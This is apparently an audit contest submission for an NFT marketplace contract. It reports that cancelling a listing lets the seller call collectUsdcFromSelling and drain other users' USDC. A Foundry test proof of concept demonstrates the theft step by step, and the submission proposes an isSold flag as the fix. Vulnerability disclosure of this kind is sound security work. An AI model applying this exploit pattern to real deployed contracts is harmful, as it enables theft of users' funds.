NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Unauthorized Fund Drain via "cancelListing" and "collectUsdcFromSelling"

Author Revealed upon completion

Root + Impact

Description

  • The "collectUsdFromSelling()" only checks wether "tokenId" is false. And the protocol desing is to set the "tokenId" active when listing and false after it is sold.

  • The problem is that, "cancelListing()" also set the "tokenId" false. this is good since the listing was cancel. But malicious user can easily take advantage of it and break the protocol.

@> require(!listing.isActive, "Listing must be inactive to collect USDC");

Risk

Likelihood:

  • the malicious user can easily break the protocol by just mint, list, 'cancelListing, and 'collectUsdFromSelling()'

Impact:

  • Breaking the protocol

  • Stealing the funds in the contract

Proof of Concept

Below is the proof of code which prove the malicious user successfully steal the funds from the contract by just minting the NFT, list the NFT then cancel the listing and steal the funds with his in active "tokenId"

function testAttackerStealFundsByCancelListingAndCollectUsdFromSelling() public revealed {
// user 1 mint and list
uint256 userWithCashTokenId = 1;
uint256 userWithCashPrice = 50e6;
mintAndListNFTForTesting(userWithCashTokenId, userWithCashPrice);
// user 2 mint and list
uint256 newUserTokenId = 2;
uint256 newUserPrice = 100e6;
mintAndListNFTForTestingNewUser(newUserTokenId, newUserPrice);
// attacker mint and list
uint256 attackerTokenId = 3;
uint256 attackerPrice = 100e6;
uint256 attackFee = nftDealers.calculateFees(attackerPrice);
mintAndListNFTForTestingAttacker(attackerTokenId, attackerPrice);
// attacker cancel the list
vm.prank(attacker);
nftDealers.cancelListing(attackerTokenId);
uint256 balanceOfAttackerBefore = usdc.balanceOf(attacker);
vm.startPrank(buyer);
// Buyer buys
usdc.approve(address(nftDealers), 150e6);
nftDealers.buy(1);
nftDealers.buy(2);
// balance of the contarct before
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
vm.stopPrank();
// attacker steal funds
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(attackerTokenId);
vm.stopPrank();
// the contract balance after
uint256 contractBalanceAfter = usdc.balanceOf(address(nftDealers));
// balance of attacker after
uint256 balanceOfAttackerAfter = usdc.balanceOf(attacker);
assertLt(contractBalanceAfter, contractBalanceBefore);
assertGt(balanceOfAttackerAfter, balanceOfAttackerBefore);
}


Recommended Mitigation

Add the boolean isSold in the "Listing" struct. So that there will be difference between selling and cancel

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isSold;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!